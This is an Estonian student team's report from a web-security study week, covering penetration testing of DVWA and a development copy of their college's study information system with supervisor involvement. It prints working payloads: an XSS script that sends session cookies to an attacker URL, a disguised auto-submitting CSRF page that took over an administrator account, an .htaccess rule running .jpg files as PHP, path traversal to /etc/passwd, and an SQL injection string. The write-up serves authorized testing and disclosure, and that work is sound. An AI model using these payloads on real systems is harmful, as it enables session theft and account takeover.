Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.
Burpsuite v1.4
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema. Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork. Seejärel mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud ja ei suudetud parooli välja tuua. Proovitud sai ka lühemate nimekirjadega aga edutult.
Peale teise programmi kasutamist jõudsime järeldustele, et Pitchfork meetod kasutab tegelikult meetodit, kus ta paaritab mõlema nimekirja kirja peale järjekorras samadel kohtadel sõnad, millest polnud kasu. Oleks pidanud kasutama ClusterBomb viisi aga meil jäi ajanappuse tõttu kasutamata. Samuti Brute Force ründeviisist polnud meil tegelikult kasu ja ei aita eesmärki täita effektiivselt ÕISi arendustestimisel.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5 sekundiks sisselogimine ära vastava teatega.
Lisaks Brute force programmidele ei tule sealt vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.
CSRF - Cross-site request forgery
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat. Katse eesmärgiks on DVWA-s kasutaja parooli muutmine.
Rünnatav inimene ise paneb meie tehtud veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse sealt info koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.
Lõime uue faili - crosssite.txt
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu.
Seejärel saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud väärtus.
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.
Reflected Cross Site Scripting (XSS)
- Lehel on selline Form:
- Easy puhul:
- Saab sisestada textboxi skripti: <script> alert(document.cookie.match(/PHPSESSID=[^;\]+/)); </script>
- Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.
- Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: <script> this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/); </script>
- Saab kohe enda veebiserveri logidest näha Session ID’d.
Näide logist:
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" - Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.
Form väljastab : Hello „sisestatud nimi“
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
Faili uploadimine DVWA (Damn Vulnerable Web Application) näitel
Faili üleslaadimine: madal tase
- DVWA Security määrata: Low -> Submit
- Valida: Upload
- Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess Üleslaetavasse *.php faili saab kirjutada php koodi: <?php var_dump($_REQUEST, $_SERVER); ?>
- Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav: esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low"); teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME", "SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
Faili üleslaadimine: keskmine tase
- DVWA Security määrata: Medium -> Submit
- Valida: Upload
- Üles laadida ei saa näiteks järgnevates formaatides faile: .htaccess .php .html .pdf .gif .png .bmp .svg .swf .tif .tiff .exif .raw .cgm
- Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)
- Üleslaetavasse *.jpg faili saab kirjutada php koodi.
- Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress: http://dvwa/hackable/uploads/*.jpg
- Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht: http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg Kuvatakse php skripti tulemus. Kommentaar: "?page=" kasutamine võetud menüüvalikust: File Inclusion
- "?page=" abil saab vaadata kasutajate nimesid: http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
- Paroole vaadata ei saa, selleks õigused puuduvad: http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
Faili üleslaadimine: kõrge tase
- DVWA Security määrata: High -> Submit
- Valida: Upload
- Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php) Üleslaetavasse *.jpg faili saab kirjutada php koodi.
- Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.
- Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline: ERROR: File not found!
- Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil: http://www.motobit.com/util/base64-decoder-encoder.asp
- Moodustades loodud faili asukohast kood ja kasutades data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw== üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis: http://dvwa/hackable/uploads/*.jpg
3. päev - Dev-ÕIS'i turvatestimine
Acunetix Web Vulnerability Scanner v. 8
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8 http://www.acunetix.com/vulnerability-scanner/
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
- Cross-Site Scripting (XSS)
- SQL Injection (blind test)
- File inclusion
- Code Execution
- LDAP Injection
- Cross Frame Scripting
- SQL Injection (error msg. test)
- CRLF Injection
- Directory Travelsal
- XPath Injection
- URL Redirection
- Application Error Message
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur sai pärast 19h skännimist, kui oli tehtud ~9% skännimisest see peatada. 19h skännimise tulemus oli:
25 High alerts:
HTTP Parameter Pollution (24) Weak Password (1)
251 Medium alerts: Apache hhtpd Remote denial of service (2) Application error message (244) URL redirection (5)
6 Low alerts: Apache mod_negotiation filename bruteforcing (2) Login page password-guessing attack (1) Sensitive page could be cached (3)
21 Informational alerts: Broken links (18) Password type input with autcomplete enabled (3)
Kuna esimest skänni ei saanud lõpule viia otsustasime teha ühe kategooria skänni. Skänniks sai valitud Cross-Site Scripting (XSS) See skänn kestis 3h ja selle jooksul saadeti 61461 reqesti Skänn tuvastas 742 high alerti (Cross Site Scripting) ja 21 informational alerti[Broken link(18), Password type input with autocomplete enabled (3)].
Kuna tegu on automaatiseeritud programmiga ei tähenda, et sait tegelt nii ebaturvaline on, osad asjad mida programm nõrkuseks loeb on mingi põhjusega lihtsalt nii seatud. Skänni tulemuste kohta on raske mingeid kindlaid järeldus teha, kuna igat viga tuleks analüüsida ja määrata ära reaalne oht saidile. Märkida võiks ära, et iga veebilehe omanik, kes on mures turvalisuse pärast võiks kaaluda selle toote kasutamist.
Failure to Restrict URL Access
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.
Faile saab alla laadida enda profiili all õppesooritustes.
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed lisati sellele lingile url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.
Proovisime ligi saada ka teistes kohtades lehtedele, mille õigus polnud, aga kõik olid kaitstud url'id.
Subgraph Vega
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm. Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel. Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.
Alustasime uut skänni (Start New Scan). Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.
Me lisasime ainult küpsise (cookie) sisu:
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
ning Finish.
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.
Wapiti
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. (Koduleht: http://wapiti.sourceforge.net/)
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud kasutada HTTPS protokolli kasutada.
CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga
1. katse - ÕISi keskkkonna keelevahetus =
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.
Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili. Koristasime mittevajaliku disaini koodi juurest ära. Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel. Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks. Panime koodi enose veebiserverisse üles nimega ois.html.
Faili sisu:
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.
Katsetas koodi enda konto peal Taavi.
2. katse - ÕIS'i kasutaja parooli muutmine
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.
Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu. Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.
Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.
Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.
Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele. Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.
Lisasime CSS koodi Submit nupu ära peitmiseks. JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.
Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.
Faili sisu:
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
AddType application/x-httpd-php .php .jpg
Laadisime mõlemad failid Enose veebiserverisse avalikult.
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha. Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga. Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole. Rünnak oli edukas.
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.
Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada. Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.
Burp suite
Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .
Ohvri valimine
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.
site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.
Spideringi sisselülitamine
Valida tab Spide ning sealt panna linnuke kasti spider running.
Ning oledki valmis saama laheküljelt infot.
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.
Nessuse algkäivitamine
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .
Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.
Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.
Järgnevalt valida nessus start.
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.
Backtrack: w3af
Võimalik kätte saada SSL Certificate. Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login? username=KASUTAJANIMI&continue=&Login=Logi sisse&pw=PAROOL
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication: basicAuthUser: KASUTAJANIMI basicAuthPass: PAROOL basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies cookieJarFile: /root/Desktop/ois_cookie.txt
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File .dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID 870aqllryuw3cmf6cv8ellha03
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable. flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable. This value is set automatically by the browser, depending on the value you set for domain. path - The path within the domain that the variable is valid for. secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable. expiration - The UNIX time that the variable will expire on. name - The name of the variable. value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies Search: itcollege.dev.ois.ee Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID
Skänneerimine
- The page language is: en
- The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.
- A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".
- Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login". The username field to be used is: "username". The password field to be used is: "pw".
- Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666 Antud kasutaja ja parooliga sisse ei saanud.
- The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification. Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
- The URL: "https://itcollege.dev.ois.ee/" sent these cookies: itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/ itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
- The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused". Kui tuleb see veateade, siis skänn katkeb.
- The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit): The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery. It allows the attacker to exchange the method from POST to GET when sending data to the server. The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery. It allows the attacker to exchange the method from POST to GET when sending data to the server.
- SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST. The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.". The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
- Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt User-agent: * Disallow: / Allow: /curriculum Allow: /subject Allow: /diploma Allow: /schedule/ical
Soovitus
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks. Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile. Proovisime üles laadida:
kõik läks läbi ja sai uploadida.
Sellises kohas võiks olla süsteem tehtud whitelisti põhimõttel,
et lubatud oleks ainult näiteks:
4. päev - Presentatsiooni tegemine ja esitlemine
Koostasime presentatsiooni ja esitlesime selle kuulajaskonnale.
Media:Security_team_presentation.ppt
Video (meie esitlus on alates 11:20'st):
http://echo360.e-uni.ee/ess/echo/presentation/da8c32af-52d0-4a02-85fa-24f9323f8ce9
Arvamused intensiivõppe nädala kohta
Alo: Intensiivõppe nädal oli väga huvitav kogemus, nädalaga sai õpitud palju uut ja huvitavat. Meeskonnatöö sujus hästi ja nädala algul püsitatud eesmärgid said täidetud. Isiklikult soovitan intensiivõppe nädalal osaleda kõigil kellel vähegi võimalik.
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.
Taavi:Intensiivõppenädal on väga hea võimalus lühikese ajaperioodiga omandada väga palju uusi ja huvitavaid teadmisi ning oskusi.Kindlasti soovitan kõigile intensiivõppenädalal osalemist.Ärge olge heidutatud ka inimesed kes arvavad, et neil on vähe või puudulikud oskused või teadmised, intensiivõppenädalal ei ole eeldatud, et te juba oskate asju vaid see nädal ongi õppimiseks. Tore kogemus ja kõik järgmine aasta osalema.
Matis: Olin veel viimase hetkeni täiesti kahe vahel, et kas minna intensiivõppe nädalale või mitte. Siiski otsustasin minna ja olen väga väga rahul et sedasi otsustasin. Sain väga palju uusi teadmisi erinevate testprogrammide ja -keskkondade kasutamise kohta. Hea kogemus ka tiimiga töötada, ülesandeid jagada ja üldisel koostööl. Soovitan kindlasti ka teistel tudengitel osaleda intensiivõppe nädalal. Väga hea võimalus reaalseid ülesandeid ja probleeme, mis võivad tulevikus ette tulla, läbi teha.
Kasutatud materjalid
http://www.acunetix.com/support/vulnerability-checks.htm http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting http://sectools.org/tag/web-scanners/ http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/ http://www.acunetix.com/vulnerability-scanner/getting-started.htm
Tegijad
- Alo Konno A21
- Urmo Lihten A21
- Taavi Podžuks A22
- Matis Alliksoo A22
- Sander Saarm A22
Juhendajad
Täname oma juhendajaid:
- Mart Mangus
- Margus Ernits
- Valter Kungla